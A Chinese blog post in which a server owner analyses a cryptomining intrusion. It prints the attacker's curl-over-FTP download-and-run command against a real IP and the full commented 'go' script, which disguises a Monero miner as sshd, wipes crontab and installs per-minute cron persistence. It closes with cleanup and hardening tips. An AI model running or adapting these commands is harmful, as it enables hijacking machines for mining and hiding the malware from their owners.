机器被入侵了,写点东西,分析一下入侵脚本,顺便也学习一下。

  1. bash -c curl -O ftp://noji:noji2012@153.122.137.67/.kde/sshd.tgz;tar xvf sshd.tgz;rm -rf sshd.tgz;cd .ssd;chmod +x *;./go -r

下载恶意软件

恶意软件的是使用 ftp下载的, 地址是:ftp://noji:noji2012@153.122.137.67/.kde/sshd.tgz,这个153.122.137.67 IP是位于日本东京,ssd.taz是一个tar包,用tar解压之后,出现一个sh文件,两个可执行文件。

  1. -rwxr-xr-x 1 1001 1001 907 Nov 20 20:58 go # shell
  2. -rwxrwxr-x 1 1001 1001 1.3M Nov 20 21:06 i686 # 可执行
  3. -rwxrwxr-x 1 1001 1001 1.1M Nov 20 21:06 x86_64 # 可执行

分析可执行文件 go

go是一个shell程序,下文是分析

  1. #!/bin/bash
  2. # pool.supportxmr.com门罗币的矿池
  3. # 所以大家应该清楚了,入侵的机器应该用来挖矿的
  4. # 这一步是测试本机与矿池dns是否通
  5. if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ]; then
  6. dns="" # dns通
  7. else
  8. dns="-d" # dns不通
  9. fi
  10. # 删除用户计划任务,并将报错信息清除
  11. crontab -r 2>/dev/null
  12. # 这一步不太懂
  13. rm -rf /tmp/.lock 2>/dev/null
  14. # 设置当前进程的名字,为了掩人耳目,起个sshd, 鱼目混珠
  15. EXEC="sshd"
  16. # 获取当前目录
  17. DIR=`pwd`
  18. # 获取参数个数
  19. # 这个程序传了一个 -r 参数,所以$#的值是1
  20. if [ "$#" == "0" ]; then
  21. ARGS=""
  22. else
  23. # 遍历每一个参数
  24. for var in "$@"
  25. do
  26. if [ "$var" != "-f" ]; then
  27. ARGS="$ARGS $var" # $var不是-f, 所以ARGS被这是为-r
  28. fi
  29. if [ ! -z "$FAKEPROC" ]; then
  30. FAKEPROC=$((FAKEPROC+1)) # 这里不会执行,因为$FAKEPROC是空字符串
  31. fi
  32. if [ "$var" == "-h" ]; then
  33. FAKEPROC="1" # 这里也不会执行
  34. fi
  35. if [[ "$FAKEPROC" == "2" ]]; then
  36. EXEC="$var" # 这里也不会执行
  37. fi
  38. if [ ! -z "$dns" ]; then
  39. ARGS="$ARGS $dns" # 如果本机与矿池dns通,则这里不会执行
  40. fi
  41. done
  42. fi
  43. # 创建目录
  44. mkdir -- ".$EXEC" #创建 .sshd目录
  45. cp -f -- `uname -m` ".$EXEC"/"$EXEC" # uname -m获取系统架构,然后判断要把i686还是x86_64拷贝到.sshd目录, 并重命名为sshd
  46. ./".$EXEC"/"$EXEC" $ARGS -f -c # 执行改名后的文件
  47. rm -rf ".$EXEC"
  48. # 生成后续执行的脚本
  49. echo "#!/bin/bash
  50. cd -- $DIR
  51. mkdir -- .$EXEC
  52. cp -f -- `uname -m` .$EXEC/$EXEC
  53. ./.$EXEC/$EXEC $ARGS -c
  54. rm -rf .$EXEC" > "$EXEC"
  55. chmod +x -- "$EXEC"
  56. # 执行脚本
  57. ./"$EXEC"
  58. # 生成计划任务执行脚本
  59. (echo "* * * * * `pwd`/$EXEC") | sort - | uniq - | crontab -
  60. # 删除go脚本
  61. rm -rf go

上文的脚本中,有许多命令后跟着 --- 这两个参数都是bash脚本的内置参数,用来标记命令的内置参数已经结束。

由于x86_64和i686是可执行文件,就不分析了。

恶意文件清除

  1. 清除crontab定时任务
  2. 清除可执行文件。可以 ll /proc/pid/exe , 看下恶意进程的可执行文件位置
  3. kill 恶意程序的进程
  4. 修改root密码

如何防护

  • 使用强密码,至少32位
  • 使用ssh key登录
  • 有些脚本会把名字伪装成系统服务,所以不要被进程的名字迷惑,而应该看看这个进程使用的资源是否合理。一个sshd的进程,正常来说占用cpu和内存不会超过1%。如果你发现一个占用CPU%的sshd进程,你就要小心这东西是不是滥竽充数了。